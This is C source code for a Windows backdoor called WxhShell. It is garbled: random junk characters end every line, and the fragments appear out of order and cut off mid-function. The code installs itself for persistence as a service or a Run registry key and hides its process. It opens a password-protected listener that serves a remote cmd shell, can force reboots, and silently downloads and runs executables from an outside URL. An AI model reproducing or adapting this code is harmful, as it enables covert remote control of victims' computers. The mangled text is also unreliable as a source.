    if(Boot(SHUTDOWN)) 'Q dDXw5o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9XN\v=$"*  
    else { 0{'m":D9  
    closesocket(wsh); a7>^^?|  
    ExitThread(0); grxlGS~Q  
    } X|'[\v2ld  
    break; 0: Nw8J  
    } Z [YSE T  
  // 获取shell ts/Ha*h  
  case 's': { M nnVk=  
    CmdShell(wsh); _[pbf ua  
    closesocket(wsh); (:>Sh0.  
    ExitThread(0); fyF8RTm{  
    break; 8\S$iGd  
  } 0TqIRUz "C  
  // 退出 cB6LJ}R  
  case 'x': { YS bS.tq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b?j\YX[e  
    CloseIt(wsh); +F92_a4  
    break; YJF|J2u  
    } ,: Ij@u>)  
  // 离开 HP,{/ $i:  
  case 'q': { GGU>={D)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] Jnrs  
    closesocket(wsh); W.c>("gC  
    WSACleanup(); Z_4|L+i<{  
    exit(1); /pWKV>tjj  
    break; ;TL>{"z`x  
        } 1b<[/g9  
  } ?h:xO\h8  
  } :{ Lihe~\  
lvH} 8 lJ  
  // 提示信息 D$Ao-6QE W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q4SEvP}fLx  
} |qf ef &  
  } MDoV84Fh  
MxqIB(5k  
  return; fLZ99?J  
} _ZE&W  
K}vYE7n:  
// shell模块句柄 t{e}3}LEd  
int CmdShell(SOCKET sock) @CS%=tE}U  
{ ))6YOc  
STARTUPINFO si; y\=^pla  
ZeroMemory(&si,sizeof(si)); :Q}Zb,32  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z,RjQTd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CQs,G8 \/  
PROCESS_INFORMATION ProcessInfo; K.Y.K$NjP{  
char cmdline[]="cmd"; ]4B&8n!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ),lE8A{ H  
  return 0; A&{eC C  
} v}.~m)  
Lb~' I=9D  
// 自身启动模式 %GGSd0 g  
int StartFromService(void) ]] T,;|B  
{ XrJLlH>R4  
typedef struct ) 3ZkKv;zY  
{ a28`)17z  
  DWORD ExitStatus; [&)*jc16  
  DWORD PebBaseAddress; @+sYwlA~  
  DWORD AffinityMask; B D [<>Wm  
  DWORD BasePriority; aWY#gI{  
  ULONG UniqueProcessId; k{ulu  
  ULONG InheritedFromUniqueProcessId; & kQj)  
}   PROCESS_BASIC_INFORMATION; |Y30B,=M  
6('CB|ga  
PROCNTQSIP NtQueryInformationProcess; T2TWb  
jxZ_-1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Vfc;2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +&.39q !  
zd=N.  
  HANDLE             hProcess; esd9N'.Q*  
  PROCESS_BASIC_INFORMATION pbi; e 3TKg  
\"9ysePI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CYdYa|  
  if(NULL == hInst ) return 0; C?]+(P  
7>3+]njw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %<1_\N7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y?%=6S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2]Ei4%jo  
$U'*}S  
  if (!NtQueryInformationProcess) return 0; VuuF _y;  
oGL2uQXX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FAq9G-\B  
  if(!hProcess) return 0; 2+yti,s+/  
:Aj[#4-=   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f.:0T&%G  
|eksvO'~  
  CloseHandle(hProcess); 91UC>]}H  
e"ClG/M_XS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gR wRhA/  
if(hProcess==NULL) return 0; lr=quWDY  
c1<jY~U  
HMODULE hMod; ,uZz?7mO  
char procName[255]; d~y]7h|  
unsigned long cbNeeded; - H`, ` #{  
,Y@4d79  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W(EN01d\  
K<v:RbU|[1  
  CloseHandle(hProcess); T+>W(w i  
%-an\.a.  
if(strstr(procName,"services")) return 1; // 以服务启动 q*}$1 zb  
B-wF1! Jv  
  return 0; // 注册表启动 L(}/W~En  
} 4 ;^  
h5lngw  
// 主模块 #KDN  
int StartWxhshell(LPSTR lpCmdLine) @eP(j@(^  
{ 8aVj@x$'  
  SOCKET wsl; Z& bIjp  
BOOL val=TRUE; HG3iK  
  int port=0; <-HWs@8#  
  struct sockaddr_in door; ?+L7Bd(EF%  
Mr@{3do$  
  if(wscfg.ws_autoins) Install(); !(sL  
7TA&u'  
port=atoi(lpCmdLine); K*5Ij]j&  
BX2}ar  
if(port<=0) port=wscfg.ws_port; hmI> 7@&  
c#a>> V  
  WSADATA data; Fyc":{Jd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /KhY,G'Z  
LG=_>:~t>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c1 1?Kq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \j0016;  
  door.sin_family = AF_INET; B] PG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &7KX`%K"D  
  door.sin_port = htons(port); uP1]EA  
G4"n`89LK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R".*dC,0'B  
closesocket(wsl); Kk>va->R  
return 1; >t4<2|!(M  
} o3.b='HAm  
rR(\fX!dg  
  if(listen(wsl,2) == INVALID_SOCKET) { u9{Z*w3L7  
closesocket(wsl); {%z5^o1)  
return 1; q ;e/gP2  
} FwDEYG  
  Wxhshell(wsl); g?>   
  WSACleanup(); z[0t%]7l  
]gVW&3ZW  
return 0; Cil1wFBb  
7+m.:~H3}  
} gO bP  
Suk;##I  
// 以NT服务方式启动 uC"Gm;0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jy0(g T  
{ h[gKyxZ/t  
DWORD   status = 0; t=n@<1d  
  DWORD   specificError = 0xfffffff; 2&:nHZ)  
E>kgEfzxP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A~8-{F 31  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  bRx}ih  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |L6 +e *  
  serviceStatus.dwWin32ExitCode     = 0; VpB+|%@p  
  serviceStatus.dwServiceSpecificExitCode = 0; *m&(h@l  
  serviceStatus.dwCheckPoint       = 0; 3_Mynop  
  serviceStatus.dwWaitHint       = 0; La si)e=$<  
J_&G\b.9/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Yv5Z.L&(  
  if (hServiceStatusHandle==0) return; cN| gaL  
BSg 3  
status = GetLastError(); l6-%)6u>  
  if (status!=NO_ERROR) j8?rMD~  
{ Ki%RSW(_`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OZno 3Hn  
    serviceStatus.dwCheckPoint       = 0; xOc&n0}%  
    serviceStatus.dwWaitHint       = 0; DC=XPn/V  
    serviceStatus.dwWin32ExitCode     = status; &DWSu`z  
    serviceStatus.dwServiceSpecificExitCode = specificError; C 4\Q8uK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <2fvEW/#v  
    return; 9j$J}=y  
  } s5oU  
yu=(m~KX   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f6%7:B d  
  serviceStatus.dwCheckPoint       = 0; )IGx3+I ,  
  serviceStatus.dwWaitHint       = 0; ^%/d]Zwb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b+THn'2  
} Pol c.  
"XKd#ncP  
// 处理NT服务事件,比如:启动、停止 kj!mgu#T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nPjN\Es6  
{ <nF1f(ky  
switch(fdwControl) &=l aZxe  
{ UvVq#<-  
case SERVICE_CONTROL_STOP: vtXZ`[D,l)  
  serviceStatus.dwWin32ExitCode = 0; YJB f~0r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mA6Nmq%{ F  
  serviceStatus.dwCheckPoint   = 0; incUa;  
  serviceStatus.dwWaitHint     = 0; u]Dds;~"b  
  { B@,#,-=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]ru UX  
  } * v u  
  return; LZA pz}  
case SERVICE_CONTROL_PAUSE: "@ @Z{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o*s3"Ib  
  break; .q9i10C  
case SERVICE_CONTROL_CONTINUE: F vHd `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H)i%\7F5  
  break; PYW>  
case SERVICE_CONTROL_INTERROGATE: CR`}{?2H  
  break; RTeG\U  
}; ]s~%1bd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %s[ n2w  
} u'aWvN y+  
>w|2 ~oK  
// 标准应用程序主函数 8\CmM\R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :tBZu%N/N  
{ /` 4B-Y4M4  
k_7agW  
// 获取操作系统版本 Bc51 0I$c  
OsIsNt=GetOsVer(); TXK82qTdf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HH'5kE0;d  
|1Pi`^  
  // 从命令行安装 s F3M= uz  
  if(strpbrk(lpCmdLine,"iI")) Install(); w-?Cg8bq<  
x-@6U  
  // 下载执行文件 ZVz`-h B  
if(wscfg.ws_downexe) { f}+8m .g2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R?+:Js/  
  WinExec(wscfg.ws_filenam,SW_HIDE); H?j!f$sw  
} K_LwYO3  
=s1Pf__<k  
if(!OsIsNt) { #[NNb?`F  
// 如果时win9x,隐藏进程并且设置为注册表启动 JiCy77H  
HideProc(); `i3fC&?C  
StartWxhshell(lpCmdLine); !!UQ,yU  
} x|<89o L  
else 3(>NS?lX  
  if(StartFromService()) 'A9U[|  
  // 以服务方式启动 y7Y g$)sL  
  StartServiceCtrlDispatcher(DispatchTable); %B-m- =gz  
else  7VAet  
  // 普通方式启动 Zcxj.F(,  
  StartWxhshell(lpCmdLine); KZ/ 2#`  
1IV R4:a  
return 0; } OAH/BW  
} g+M& _n  
'Mm=<Bh  
o|7 h  
kK$*,]iCp  
=========================================== hS +R /7  
ajALca4  
6*=7ifS  
Q1?0 ]5  
Shb"Jc_i  
?u_O(eg  
" #Vh$u%q3  
~F=,)GE  
#include <stdio.h> Z|qUVD5Ic  
#include <string.h> cp<jwcc!  
#include <windows.h> bdkxCt  
#include <winsock2.h> 1PjqXgN5p  
#include <winsvc.h> Blnc y  
#include <urlmon.h> uQtwh08i  
mY,t]#^m7  
#pragma comment (lib, "Ws2_32.lib") #~`]eM5`J  
#pragma comment (lib, "urlmon.lib") n 0CS =  
r&c31k]E  
#define MAX_USER   100 // 最大客户端连接数 Z7Xic5PI{4  
#define BUF_SOCK   200 // sock buffer eFdN"8EW  
#define KEY_BUFF   255 // 输入 buffer WHvU|rJ  
\Yd 0oe82  
#define REBOOT     0   // 重启 p) ea1j>N  
#define SHUTDOWN   1   // 关机 TkSeDP  
(k&r^V/=  
#define DEF_PORT   5000 // 监听端口 'or8CGr^p  
o!ycVY$yW  
#define REG_LEN     16   // 注册表键长度 )NCkq~M  
#define SVC_LEN     80   // NT服务名长度 'ai!6[|SD  
DX%D8atrr  
// 从dll定义API SHT^Etri  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <P4*7:jX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cWNWgdk,`V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tx\g5rk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,7nA:0P  
Vm <9/UG<  
// wxhshell配置信息 uw`fC%-xh  
struct WSCFG { 26<Wg7/,  
  int ws_port;         // 监听端口 W;@9x1jK X  
  char ws_passstr[REG_LEN]; // 口令 ,=Fn6'  
  int ws_autoins;       // 安装标记, 1=yes 0=no yCG<qQz  
  char ws_regname[REG_LEN]; // 注册表键名 @%sr#YqY  
  char ws_svcname[REG_LEN]; // 服务名 1I -LGe[Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +F3`?6UXz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lc2RMu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FkJX)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1xE*quhrh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KL\]1YX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a#G]5T Z  
Ps_q\R  
}; Z-B b,8  
K{x FhdW  
// default Wxhshell configuration ~^R?HS  
struct WSCFG wscfg={DEF_PORT, 0[T>UEI?  
    "xuhuanlingzhe", ]J* y`jn  
    1, xRU ~h Q  
    "Wxhshell", 4%L-3Ij  
    "Wxhshell", {#'M3z=  
            "WxhShell Service", V9Gk``F<RZ  
    "Wrsky Windows CmdShell Service", a4L0Itrp  
    "Please Input Your Password: ", pRLs*/Bw  
  1, `Ufv,_n  
  "http://www.wrsky.com/wxhshell.exe", J \V.J/  
  "Wxhshell.exe" gYy9N=f+  
    }; /P3s.-sL  
Pqm)OZE?  
// 消息定义模块 &`J?`l X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p>@S61 & [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (ATCP#lF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8 K/o/  
char *msg_ws_ext="\n\rExit."; q4rDAQyPO  
char *msg_ws_end="\n\rQuit."; bb^$]lT'  
char *msg_ws_boot="\n\rReboot..."; P.;S6i n  
char *msg_ws_poff="\n\rShutdown..."; e;/C}sK:  
char *msg_ws_down="\n\rSave to "; IAJYD/Y&?  
A->y#KQ  
char *msg_ws_err="\n\rErr!"; 'F[ C 4  
char *msg_ws_ok="\n\rOK!"; _%$(D"^j  
Y[yw8a  
char ExeFile[MAX_PATH]; /-W-MP=Wd  
int nUser = 0; > \KVg(?D  
HANDLE handles[MAX_USER]; FTg4i\Wp  
int OsIsNt; ,LHQ@/}A C  
mzX <!  
SERVICE_STATUS       serviceStatus; GqrOj++>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A|esVUo<3^  
9IRvbE~2  
// 函数声明 _\tGmME37  
int Install(void); OLdD3OI  
int Uninstall(void); !tNJLOYf  
int DownloadFile(char *sURL, SOCKET wsh); Fc"&lk4e  
int Boot(int flag); *!gj$GK@%  
void HideProc(void); QF fKEMN  
int GetOsVer(void); #Rkldv'  
int Wxhshell(SOCKET wsl); ) -C9W7?I  
void TalkWithClient(void *cs); XI*_ti  
int CmdShell(SOCKET sock); C;jV{sb9c  
int StartFromService(void); .u_k?.8|  
int StartWxhshell(LPSTR lpCmdLine); XFg.Z+ #  
0kD8wj%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yv`8{_8L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I'[hvp  
z]YP  
// 数据结构和表定义 zTa>MzH1-;  
SERVICE_TABLE_ENTRY DispatchTable[] = 5w#*JK   
{ cc%O35o  
{wscfg.ws_svcname, NTServiceMain}, ($oO, c'z  
{NULL, NULL} 4P>tGO&*x  
}; Uq,M\V \  
N&0MA  
// 自我安装 Vd{h|=J  
int Install(void) #NVqS5  
{ WR*|kh  
  char svExeFile[MAX_PATH]; Hh bf9)  
  HKEY key; ikGH:{  
  strcpy(svExeFile,ExeFile); W].P(A>m  
,Dz2cR6  
// 如果是win9x系统,修改注册表设为自启动 x,Cc$C~YP  
if(!OsIsNt) { `FImi9%F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %acy%Sy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B=;pyhc  
  RegCloseKey(key); =oF6|\]{ ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZHs hg`I`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [LonY49  
  RegCloseKey(key); axY-Vj  
  return 0; 3"gifE  
    } )r2$/QF9  
  } _e.b #{=9  
} (jD..qMs#  
else { a.5s5g)8  
)Q\ZYCPOr  
// 如果是NT以上系统,安装为系统服务 K;f'&9-+i,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?;,Al`/^  
if (schSCManager!=0) '^l/e: (H3  
{ ]kmOX  
  SC_HANDLE schService = CreateService _^RN C)ol  
  ( |zu>G9m  
  schSCManager, K)qbd~<\  
  wscfg.ws_svcname, V=|^r?  
  wscfg.ws_svcdisp, 8-5a*vV,>  
  SERVICE_ALL_ACCESS, \QUvImT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,h2q 37  
  SERVICE_AUTO_START, We]X+>BlO  
  SERVICE_ERROR_NORMAL, ~MY (6P  
  svExeFile, B-[SUmHr  
  NULL, s\&_Kbw] c  
  NULL, Q ;P~'  
  NULL, &,Q{l$`X  
  NULL, -aNTFt~|[  
  NULL 9ok|]d P  
  ); R7KQ-+Zb  
  if (schService!=0) (Df<QC`0v  
  { bq4H4?j  
  CloseServiceHandle(schService); 'w%N(Ntq  
  CloseServiceHandle(schSCManager); JMOP/]%D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yT&bS\  
  strcat(svExeFile,wscfg.ws_svcname); .Qh8I+Q%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ` OQ&u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ut-6!kAm  
  RegCloseKey(key); >V(2Ke Y  
  return 0; L1QQU  
    } Kc udWW]  
  } 9L#B"lh  
  CloseServiceHandle(schSCManager); \|>eG u  
} VP4t~$"  
} 7IJb$af:;  
w=e,gNO  
return 1; YY!(/<VI  
} >2syF{`j  
8VcAtrx_  
// 自我卸载 hqD;<:.  
int Uninstall(void) *gz{:}NX  
{ 0HD1Ob^@  
  HKEY key; <vt^=QA'  
0acY@_  
if(!OsIsNt) { ^RWt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UuT[UB=x5  
  RegDeleteValue(key,wscfg.ws_regname); uWnS<O  
  RegCloseKey(key); L7Oytdc<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cn\& ;55v  
  RegDeleteValue(key,wscfg.ws_regname); u F*cS&'Z  
  RegCloseKey(key); 8v^i%Gg  
  return 0; !RcAJs'  
  } <Z8] W1)  
} Ic=V:  
} ^LU[{HZV  
else { *VlYl"  
J$I1 *~I4v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :s'%IGy>:  
if (schSCManager!=0) J/<`#XZB   
{ Y!7P>?)`,X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?3Jh{F_+  
  if (schService!=0) ;W+-x] O  
  { I(<G;ft<}  
  if(DeleteService(schService)!=0) { @E>^\!nH  
  CloseServiceHandle(schService); &vF"I'V  
  CloseServiceHandle(schSCManager); nIi_4=Z  
  return 0; `2fuV]FW  
  } :9h8q"T  
  CloseServiceHandle(schService); |TUpv*pq  
  } <C>i~ <`d  
  CloseServiceHandle(schSCManager); $Tur"_`I;  
} *tO<wp&  
} *(scSC>  
V]O :;(W_  
return 1; ZkIQ-;wx  
} m5p~>]}fYF  
QLUe{@ivc  
// 从指定url下载文件 Ii,:+o%  
int DownloadFile(char *sURL, SOCKET wsh) /< :; ^B  
{ "QF083$  
  HRESULT hr; ,pASjFWi  
char seps[]= "/"; *@& "MZ/M  
char *token; S }n;..{  
char *file; 2bJFlxEU  
char myURL[MAX_PATH]; <di_2hN  
char myFILE[MAX_PATH]; 2$o[  
Xp~]kRm9  
strcpy(myURL,sURL); biG9?  
  token=strtok(myURL,seps); :}JZKj!}M  
  while(token!=NULL) 'MUrszOO.e  
  { %yMzgk[u  
    file=token; Vw*x3>`  
  token=strtok(NULL,seps); HIq1/)  
  } EDo@J2A  
1pb;A;F,A  
GetCurrentDirectory(MAX_PATH,myFILE); Ds87#/Yfv  
strcat(myFILE, "\\"); I5L7BTe  
strcat(myFILE, file); n{t',r50  
  send(wsh,myFILE,strlen(myFILE),0); QVW6SY  
send(wsh,"...",3,0); T,uIA]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >D/~|`=p  
  if(hr==S_OK) "AouiZkh  
return 0; >y9o&D  
else i'wF>EBz  
return 1; ?i~/gjp  
(@ E#O$'  
} / D ]B  
y^=oYL  
// 系统电源模块 @S7=6RKa[  
int Boot(int flag) > bF!Y]H  
{ h!K2F~i{P  
  HANDLE hToken; f hG2  
  TOKEN_PRIVILEGES tkp; 0lCd,a 2:  
vB5iG|b}  
  if(OsIsNt) { z[%v _S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :WIf$P?X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g u =fq\`  
    tkp.PrivilegeCount = 1; 9yo[T(8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !>y}Xq{bm3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t!SQLgA  
if(flag==REBOOT) { X&s\_jQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Y=c g;  
  return 0; $Q?G*@y  
} +Nbk\%  
else { ?gwbg*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kQd[E-b7  
  return 0; d4>-a^)V  
} "tB"j9Jb  
  } u7zB9iQ&  
  else { q>(u>z!  
if(flag==REBOOT) { k*3_) S -  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0nz@O^*g(  
  return 0; *7;*@H*jd  
} ~wf~b zs  
else { gpK_0?%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m2uML*&O5K  
  return 0; PnIvk]"Ab  
} vDeG20.?Z  
} p:<gFZb  
hf^`at  
return 1; sx<+ *Trl  
} oB06{/6  
0/P-> n~  
// win9x进程隐藏模块 W|rFl]~a  
void HideProc(void) 5;MK1l  
{ [{p?BTs  
-)a_ub  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8pL>wL &C  
  if ( hKernel != NULL ) Ky9No"o  
  { XBWSO@M'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O4d^ig-xaH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [^d6cMEOlc  
    FreeLibrary(hKernel); ";?C4%L  
  } wy_;+ 'Y  
JNM@Q  
return; D*T$ v   
} F `pyhc>1;  
W3{<e"  
// 获取操作系统版本 ?fa,[r|G  
int GetOsVer(void) l`FR.)2h  
{ aEFe!_QY  
  OSVERSIONINFO winfo; w HHF=Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QV'3O|  
  GetVersionEx(&winfo); :Bv&)RK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;TV'PJ  
  return 1; %<J(lC9,C  
  else Kjn&  
  return 0; \B>[je-d  
} )_X xk_  
t`8e#n 9  
// 客户端句柄模块 dy6F+V\DG  
int Wxhshell(SOCKET wsl) \/'#=q1  
{ Tu= eQS|'  
  SOCKET wsh; Sp`fh7d.(  
  struct sockaddr_in client; tU)r[2H2  
  DWORD myID; 34m']n  
LF9aw4:>Ou  
  while(nUser<MAX_USER) g=oeS%>E  
{ =2g[tsY  
  int nSize=sizeof(client); (ju aDn)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c5iormb"#  
  if(wsh==INVALID_SOCKET) return 1; ^aD/ .  
0.u9f`04  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]cLEuE^&  
if(handles[nUser]==0) ^`TKvcgIc  
  closesocket(wsh); mHI4wS>()+  
else VM<oUKh_3  
  nUser++; HoIKx_  
  } zO).<xIq+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <(#xOe  
CSG+bqUG  
  return 0; ~.4W,QLuD  
} wcdW72   
$K6?(x_  
// 关闭 socket Jv 6nlK`  
void CloseIt(SOCKET wsh) f74%YY  
{ EU^}NZW&v:  
closesocket(wsh); Yhc6P%{Z^  
nUser--; _A;vSp.`  
ExitThread(0); +K$5tT6b  
} kO..~@ aY  
.-('C> @  
// 客户端请求句柄 $ ,; ;u:-  
void TalkWithClient(void *cs) >}dTO/  
{ 8m/FKO (r  
|n|U;|'^  
  SOCKET wsh=(SOCKET)cs; )d770Xg+  
  char pwd[SVC_LEN]; HO%E-5b9  
  char cmd[KEY_BUFF]; &jXca|wAR  
char chr[1]; [|:QE~U@  
int i,j;  Z;j/K  
||{T5E-.F  
  while (nUser < MAX_USER) { 5YTb7M  
*} *!+C3  
if(wscfg.ws_passstr) { 0v_6cYA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w|!YoMk+o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nV!2Dfd  
  //ZeroMemory(pwd,KEY_BUFF); Xk{!' 0  
      i=0; _Hz~HoNU  
  while(i<SVC_LEN) { ? -v  
,h%D4EVx  
  // 设置超时 L\/u}]dPQ  
  fd_set FdRead; )CC?vV  
  struct timeval TimeOut; 936Ff*%(l  
  FD_ZERO(&FdRead); _L&n&y1+%  
  FD_SET(wsh,&FdRead); Y=P9:unG  
  TimeOut.tv_sec=8; JYZ2k=zh  
  TimeOut.tv_usec=0; k%EWkM)?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cPA~eZbX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =&di4'`  
i_ |9<7a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Kv h`@CiJ  
  pwd=chr[0]; Nd]0ta  
  if(chr[0]==0xd || chr[0]==0xa) { XAjd %Xv<  
  pwd=0; B,~f "  
  break; );Tx5Z}  
  } 9nT?|n]>  
  i++; kJ%{ [1fr  
    } 5xh!f%6  
VKq0 <+M  
  // 如果是非法用户,关闭 socket ?60>'Xj j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,|e}Y [  
} X4d Xm>*?=  
[MV`pF)x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GwgFi@itN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MC4284A5  
.yZK.[x4  
while(1) { l\K%  
Cr' ! "F  
  ZeroMemory(cmd,KEY_BUFF); jK3giT  
T$:>*  
      // 自动支持客户端 telnet标准   |?\gEY-Se  
  j=0; qru2h #  
  while(j<KEY_BUFF) { PYdIP\<V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5."5IjZu  
  cmd[j]=chr[0]; U8 Z~Y}29  
  if(chr[0]==0xa || chr[0]==0xd) { ' oBo|  
  cmd[j]=0; gsW=3m&`  
  break; ~Y\QGuT  
  } /6Y0q9  
  j++; JzHqNUn*M  
    } CkRyzF  
Xy:Gj, @  
  // 下载文件 ~RcNZ\2y  
  if(strstr(cmd,"http://")) { S$S_nNq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l*$WX=h6n  
  if(DownloadFile(cmd,wsh)) IeO-O'^&`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6a7vlo  
  else gdOe)il\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \BLp-B1s  
  } ZH\0=l)  
  else { _o\>V:IZ  
E^7C _JP  
    switch(cmd[0]) { D0f*eSXE{  
